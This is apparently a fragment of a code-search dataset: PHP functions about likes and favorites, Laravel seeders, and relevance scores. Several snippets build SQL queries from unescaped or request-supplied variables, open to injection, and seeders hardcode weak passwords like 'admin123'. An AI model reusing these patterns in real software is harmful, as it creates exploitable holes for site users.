(empty($userads->story_type)) {\n\t\tEngine_Api::_()->getDbTable('likes', 'communityad')->delete(array('poster_id =?' => $viewer->getIdentity(), 'ad_id =?' => $ad_id));\n\t }\n\t if (!empty($is_like) && empty($core_like)) {\n\t\tif ( !empty($resource_obj) && !empty($viewer) && Engine_Api::_()->getDbtable('modules', 'core')->isModuleEnabled('sitelike')) {\n\t\t Engine_Api::_()->sitelike()->removeLikeFeed($viewer, $resource_obj);\n\t\t}\n\t\tEngine_Api::_()->getDbTable('likes', 'core')->delete(array('like_id =?' => $is_like->like_id));\n\t }\n\t $like_msg = 'Successfully Unliked.';\n\t}\n }", "function viewFavorite($name){\n\t\t\t$str_query=\"SELECT * FROM cuisine_favorite WHERE username='$name'\";\n\t\t\treturn $this->query($str_query);\n\t\t}", "public function ajaxLikeMethod()\n {\n if (! defined('DOING_AJAX') && ! DOING_AJAX) {\n return false;\n }\n\n if (! wp_verify_nonce($_POST['nonce'], 'likeNonce')) {\n die('Busted!');\n }\n\n ignore_user_abort(true);\n\n $commentId = $_REQUEST['comment_id'];\n $commentObj = get_comment($commentId);\n $like = array();\n $create = true;\n\n if (is_array(get_comment_meta($commentId, '_likes', true)) == true) {\n $like = array_merge($like, get_comment_meta($commentId, '_likes', true));\n }\n if (in_array(get_current_user_id(), $like)) {\n $create = false;\n $index = array_search(get_current_user_id(), $like);\n unset($like[$index]);\n } else {\n $like[] = get_current_user_id();\n }\n\n do_action('Municipio/comment/save_like', $commentObj, get_current_user_id(), $create);\n update_comment_meta($commentId, '_likes', $like);\n\n return true;\n }", "public function add_like() {\n $id_photo = $this->input->post('id_photo');\n $id_user = $this->session->userdata('uid');\n echo $this->photos->insert_like($id_photo, $id_user);\n }", "function bp_activity_action_favorites_feed() {\n\tif ( ! bp_is_user_activity() || ! bp_is_current_action( 'favorites' ) || ! bp_is_action_variable( 'feed', 0 ) ) {\n\t\treturn false;\n\t}\n\n\t// get displayed user's favorite activity IDs\n\t$favs = bp_activity_get_user_favorites( bp_displayed_user_id() );\n\t$fav_ids = implode( ',', (array) $favs );\n\n\t// setup the feed\n\tbuddypress()->activity->feed = new BP_Activity_Feed( array(\n\t\t'id' => 'favorites',\n\n\t\t/* translators: User activity favorites RSS title - \"[Site Name] | [User Display Name] | Favorites\" */\n\t\t'title' => sprintf( __( '%1$s | %2$s | Favorites', 'buddypress' ), bp_get_site_name(), bp_get_displayed_user_fullname() ),\n\n\t\t'link' => bp_displayed_user_domain() . bp_get_activity_slug() . '/favorites/',\n\t\t'description' => sprintf( __( \"Activity feed of %s's favorites.\", 'buddypress' ), bp_get_displayed_user_fullname() ),\n\t\t'activity_args' => 'include=' . $fav_ids\n\t) );\n}", "public function liked()\n {\n\t\t$user = $this->uri->segment(2, 0);;\n }", "private function addFavorite()\n {\n try\n {\n $request = $_POST;\n\n if (!isset($request['type'])) {\n throw_error_msg(\"Type not provided\");\n }\n\n if ($request['type'] == 'video' || $request['type'] == 'collection') {\n //check if video id provided\n if( !isset($request['type_id']) || $request['type_id']==\"\" )\n throw_error_msg(\"type_id not provided.\");\n\n if( !is_numeric($request['type_id']) )\n throw_error_msg(\"invalid type_id\");\n\n $type_id = mysql_clean($request['type_id']);\n if ($request['type'] == 'video') {\n global $cbvid;\n $cbvid->action->add_to_fav($type_id);\n }\n\n if ($request['type'] == 'collection') {\n global $cbcollection;\n $cbcollection->action->add_to_fav($type_id);\n }\n \n }\n \n if( error() )\n {\n throw_error_msg(error('single')); \n }\n else\n { \n $data = array('code' => \"200\", 'status' => \"success\", \"msg\" => 'added to favorites', \"data\" => array());\n $this->response($this->json($data));\n } \n\n }\n catch(Exception $e)\n {\n $this->getExceptionDelete($e->getMessage());\n }\n }", "public function togglelikeAction()\n\t{\n\t\t$resource_id = (int) $this->getRequest()->getParam('resource_id');\n\t\t$resource_type = $this->getRequest()->getParam('resource_type');\n\t\t\n\t\t$Likes = new Application_Model_Likes();\n\t\t\n\t\t$ret = $Likes->toggleLike($resource_id, $resource_type);\n\t\t\n\t\tif ($ret['state'] == 1)\n\t\t\t$ret['text'] = $this->view->translate('Unlike');\n\t\telse\n\t\t\t$ret['text'] = $this->view->translate('Like');\n\t\t\n\t\t$this->getHelper('json')->sendJson($ret);\n\t}", "public function likeItem($user_id, $item_id) {\n $this->itemAction($user_id, $item_id, 'like');\n }", "public function favorites($user, $options = []);", "public function AddFavourite($uid, $msgID) {\n\t$uid = mysqli_real_escape_string($this->db, $uid);\n\t$msgID = mysqli_real_escape_string($this->db, $msgID);\n\t$query = mysqli_query($this->db,\"INSERT INTO favourite(fav_uid,fav_msgID ) VALUES('$uid','$msgID')\")or die(mysqli_error($this->db));\n\t\n}", "public function user_favorites() {\n\t\t\tif ($this->request->is('get')) {\n\t\t\t\t$user_id = $_GET['user_id'];\n\n\t\t\t$tweet_favorites = ClassRegistry::init('tweets')->find('all', array('fields' => array('tweets.tweet,tweets.photo, tweets.created ,users_profiles.firstname, users_profiles.lastname,users_profiles.photo,users_profiles.user_id,users_profiles.handler,favorites.favorite,favorites.content_id,favorites.id ,favorites.user_id'),'order'=>'favorites.id DESC',\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites', 'table' => 'favorites', 'type' => 'left', 'foreignKey' => false, 'conditions' => array('favorites.content_id = tweets.id ')),\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles', 'table' => 'users_profiles', 'type' => 'left', 'foreignKey' => false, 'conditions' => array('tweets.user_id = users_profiles.user_id'))),\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('favorites.user_id ='.$user_id.' AND favorites.content_type=\"tweets\"')));\n\t\t\n\t\t$this->set('tweet_favorites',$tweet_favorites);\n\t\t\n\t\t/*user friends start*/\t\n\t$reqUser = ClassRegistry::init('connections')->find('all',array('fields'=>array('connections.friend_id,connections.user_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('(connections.user_id='.$user_id.' OR connections.friend_id='.$user_id.') AND connections.request=1')));\n\t\t\t\n\t\tforeach ($reqUser as $rfid) {\n\t\t\t\tif ($rfid['connections']['friend_id'] != $user_id) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['friend_id'];\n\t\t\t\t}\n\t\t\t\tif ($rfid['connections']['user_id'] != $user_id) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['user_id'];\n\t\t\t\t} \n\t\t}\n\t\t/*user friends end*/\n\t\t\n\t\tif($comResult){\n\t\t\tif (sizeof($comResult)>1) {\n\t\t\t \t$result =@implode(',',$comResult);\n\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\tforeach ($comResult as $key=>$value) {\n\t\t\t\t\t\t\t\t\t$result = $value;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$user_tweet_comments = ClassRegistry::init('Tweet_comment')->find('all', array('fields' => array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.tweet_comment,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.created,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.tags,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.favorite,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.user_id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'Tweet_comment.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.id = favorites.content_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('Tweet_comment.user_id IN ('.$result.','.$user_id.')'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'Tweet_comment.comment_type = \"tweets\"'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'group' => 'Tweet_comment.id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n \t\t\n\t\t$this->set('user_tweet_comments',$user_tweet_comments);\n\t\t}\n\t\t\n\t\t\t/*********************************** Retweeted tweets by user **********/\n\t$retweeted_tweets = ClassRegistry::init('tweets')->find('all',array('fields'=>array('tweets.parent_id,tweets.id,tweets.user_id,users_profiles.firstname, users_profiles.lastname, users_profiles.handler, users_profiles.user_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'joins'=>array(array('alias' => 'users_profiles', 'table' => 'users_profiles', 'type' => 'left', 'foreignKey' => false, 'conditions' => array('tweets.user_id = users_profiles.user_id'))),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('tweets.parent_id !=0 AND tweets.status=2')));\n\t\t$this->set('retweeted_tweets',$retweeted_tweets);\n\t\t\n\t\t\n\t\t if ($user_id) {\n\t\t$favorites_on_Tweet = ClassRegistry::init('favorites')->find('all', array('fields'=>array('favorites.user_id,favorites.favorite,favorites.content_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'favorites.id',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'favorites.content_type=\"tweets\" AND favorites.user_id='.$user_id)));\n\n\t\t$this->set('favorites_on_Tweet',$favorites_on_Tweet);\n\t\t\n\t\t/*Tweet count for current user*/\n\t$tweets_count_added_user= ClassRegistry::init('tweets')->find('all',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray('conditions'=>array('tweets.user_id='.$user_id.' AND tweets.status=2')));\n\t\t\n\t$this->set('tweets_count_added_user',sizeof($tweets_count_added_user));\n\n\t\t\t\t\t/************************************** To show user following and followers ***********************/\n\t\t\t\t$userFollowings = ClassRegistry::init('users_followings')->find('all' ,array('fields'=>array('users_followings.id,users_followings.status, count(users_followings.following_id) as total_following'),'conditions'=>array('users_followings.user_id='.$user_id.' AND users_followings.following_type=\"users\" AND users_followings.status=2')));\n\t\t\n\t\t$userFollows = ClassRegistry::init('users_followings')->find('all' ,array('fields'=>array('users_followings.id,users_followings.status ,count(users_followings.user_id) as total_follow'),'conditions'=>array('users_followings.following_id='.$user_id.' AND users_followings.following_type=\"users\" AND users_followings.status=2')));\n\t\t\n\t\t\n\t\t$userFollowingsbyYou = $userFollowings[0][0];\n\t\t$userFollowingsbyYou = $userFollowingsbyYou['total_following'];\n\t\t$this->set('following',$userFollowingsbyYou);\n\t\t\n\t\t$userFollowYou = $userFollows[0][0];\n\t\t$userFollowYou = $userFollowYou['total_follow'];\n\t\t$this->set('followers',$userFollowYou);\t\t\n\t\t$this->set('userName',$this->userInfo['users_profiles']);\n\n\t\t }\n\t\t\n\t\t\n\t\t$this->autorender = false;\n\t $this->layout = false;\n\t $this->render('user_favorites');\n\t\t}\n\t}", "function favorites_page_handler ($page) {\n\tgatekeeper();\n\n\tif (empty($page[0])) {\n\t\t$user = elgg_get_logged_in_user_entity();\n\t} else {\n\t\t$user = get_user_by_username($page[0]);\n\n\t\tif (!$user) {\n\t\t\tregister_error(elgg_echo('favorites:notfound'));\n\t\t\tforward(REFERER);\n\t\t}\n\t}\n\n\tif ($user->guid == elgg_get_logged_in_user_guid()) {\n\t\t$title = elgg_echo('favorites:own');\n\t} else {\n\t\t$title = elgg_echo('favorites:user', array($user->name));\n\t}\n\n\t$content = elgg_list_entities_from_relationship(array(\n\t\t'relationship_guid' => $user->getGUID(),\n\t\t'relationship' => 'favorite',\n\t\t'inverse_relationship' => true,\n\t\t'full_view' => false,\n\t\t'order_by' => 'r.time_created DESC',\n\t));\n\n\tif (!$content) {\n\t\t$content = elgg_echo('favorites:none');\n\t}\n\n\t$params = array(\n\t\t'title' => \t$title,\n\t\t'content' => $content,\n\t\t'filter' => '',\n\t);\n\n\t$body = elgg_view_layout('content', $params);\n\techo elgg_view_page($title, $body);\n}", "public function likedBy(User $user){\n return $this->likes->contains('user_id', $user->id); \n }", "public function paint_likes($db, $nickname)\n {\n $sql = \" SELECT * from likes where user_ID = '$nickname' \";\n $stmt = $db->ejecutar($sql);\n return $db->listar($stmt);\n }", "public function getWhoLikeWishPostAction()\n {\n $user_info = array();\n if($this->getRequest()->getParam( 'wish_id' ))\n {\n \t//Check if wish object exist.\n \t$wish_obj = \\Extended\\wishes::getRowObject($this->getRequest()->getParam('wish_id'));\n \tif( $wish_obj->getWallPost() )\n \t{\n \t\t//Getting wallpost_id for wish\n \t\t$wall_post_id = $wish_obj->getWallPost()->getId();\n \t\t$ppl_who_liked = \\Extended\\likes::getUserslikedWallpostOrAlbumOrPhoto( $wall_post_id);\n \t\tif($ppl_who_liked)\n \t\t{\n \t\t\tforeach( $ppl_who_liked['data'] as $key=>$user_who_liked )\n \t\t\t{\n \t\t\t\t$mutual_arr=\\Extended\\ilook_user::getMutualLinks(\\Auth_UserAdapter::getIdentity()->getId(), $user_who_liked->getLikesLiked_by()->getId());\n \t\t\t\t$mutualFrdsCount = count($mutual_arr);\n \t\t\t\tif(\\Auth_UserAdapter::getIdentity()->getId() == $user_who_liked->getLikesLiked_by()->getId()){\n \t\t\t\t\t$user_info[$key][\"mutual_count\"] = \"Me\";\n \t\t\t\t}\n \t\t\t\telse{\n \t\t\t\t\t$user_info[$key][\"mutual_count\"] = $mutualFrdsCount;\n \t\t\t\t\t\t\n \t\t\t\t}\n $blocked_user = \\Extended\\blocked_users::getAllBlockersAndBlockedUsers(\\Auth_UserAdapter::getIdentity()->getId());\n\n $user_info[$key][\"user_id\"] = $user_who_liked->getLikesLiked_by()->getId();\n \t\t\t\t$user_info[$key][\"user_image\"] = \\Helper_common::getUserProfessionalPhoto($user_who_liked->getLikesLiked_by()->getId(), 3,false,$blocked_user);\n \t\t\t\t$user_info[$key][\"user_full_names\"] = $user_who_liked->getLikesLiked_by()->getFirstname().\" \".$user_who_liked->getLikesLiked_by()->getLastname();\n \t\t\t\t$user_info[$key][\"link_info\"] = \\Extended\\link_requests::getFriendRequestState( $user_who_liked->getLikesLiked_by()->getId() );\n \t\t\t}\n \t\t\t//For pagination which is not yet implemented.\n \t\t\t// \t\t\t \t$user_info['more_records'] = $ppl_who_liked['is_more_records'];\n \t\t\techo Zend_Json::encode( $user_info );\n \t\t}\n \t\telse\n \t\t{\n \t\t\techo Zend_Json::encode( 0 );\n \t\t}\n \t}\n \telse\n \t{\n \t\techo Zend_Json::encode( 0 );\n \t}\n }\n else\n {\n \techo Zend_Json::encode( 0 );\n }\n \n \n die;\n \n }" ]
[ "0.718546", "0.6816001", "0.6704977", "0.6636005", "0.6521407", "0.64391017", "0.64359003", "0.6421454", "0.63357586", "0.63095206", "0.6287639", "0.6283438", "0.6270361", "0.62349534", "0.61921734", "0.6169329", "0.6166443", "0.61642474", "0.6153861", "0.6149941", "0.61461186", "0.61314", "0.6107025", "0.6093416", "0.59892946", "0.59758437", "0.5969195", "0.5967973", "0.5953594", "0.5916882", "0.5913749", "0.59128237", "0.59098953", "0.5908471", "0.5897905", "0.5868774", "0.5868212", "0.5860084", "0.58569163", "0.58377105", "0.5821128", "0.5811819", "0.5798706", "0.57974195", "0.5791281", "0.5784009", "0.57802516", "0.5760985", "0.57579064", "0.571988", "0.57079566", "0.5704039", "0.5688497", "0.5686518", "0.56769216", "0.5659579", "0.5658585", "0.5655929", "0.563179", "0.5628226", "0.5616807", "0.561471", "0.56115353", "0.55860436", "0.558412", "0.55840605", "0.55790985", "0.5571464", "0.5558051", "0.55473953", "0.55398244", "0.5535306", "0.55151975", "0.5505372", "0.54634315", "0.54618704", "0.54599696", "0.5459329", "0.54577553", "0.54533917", "0.54485846", "0.54485846", "0.5447136", "0.54401493", "0.54392964", "0.5433967", "0.54334366", "0.54303396", "0.5428631", "0.5424161", "0.5424119", "0.5422462", "0.5419285", "0.5412812", "0.5412046", "0.5411473", "0.5410496", "0.54072666", "0.5404924", "0.54041415" ]
0.6606917
4
Run the database seeds.
public function run() { $roles = ['Administrador','Vendedor','Comprador']; foreach ($roles as $role){ Role::create([ 'description_role'=> $role ]); } //// $faker=Faker::create(); //// //// for ($i=0;$i<10;$i ++){ //// Role::create([ //// 'descrpcionrol'=>$faker->descrpcionrol, //// ]); // // } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n 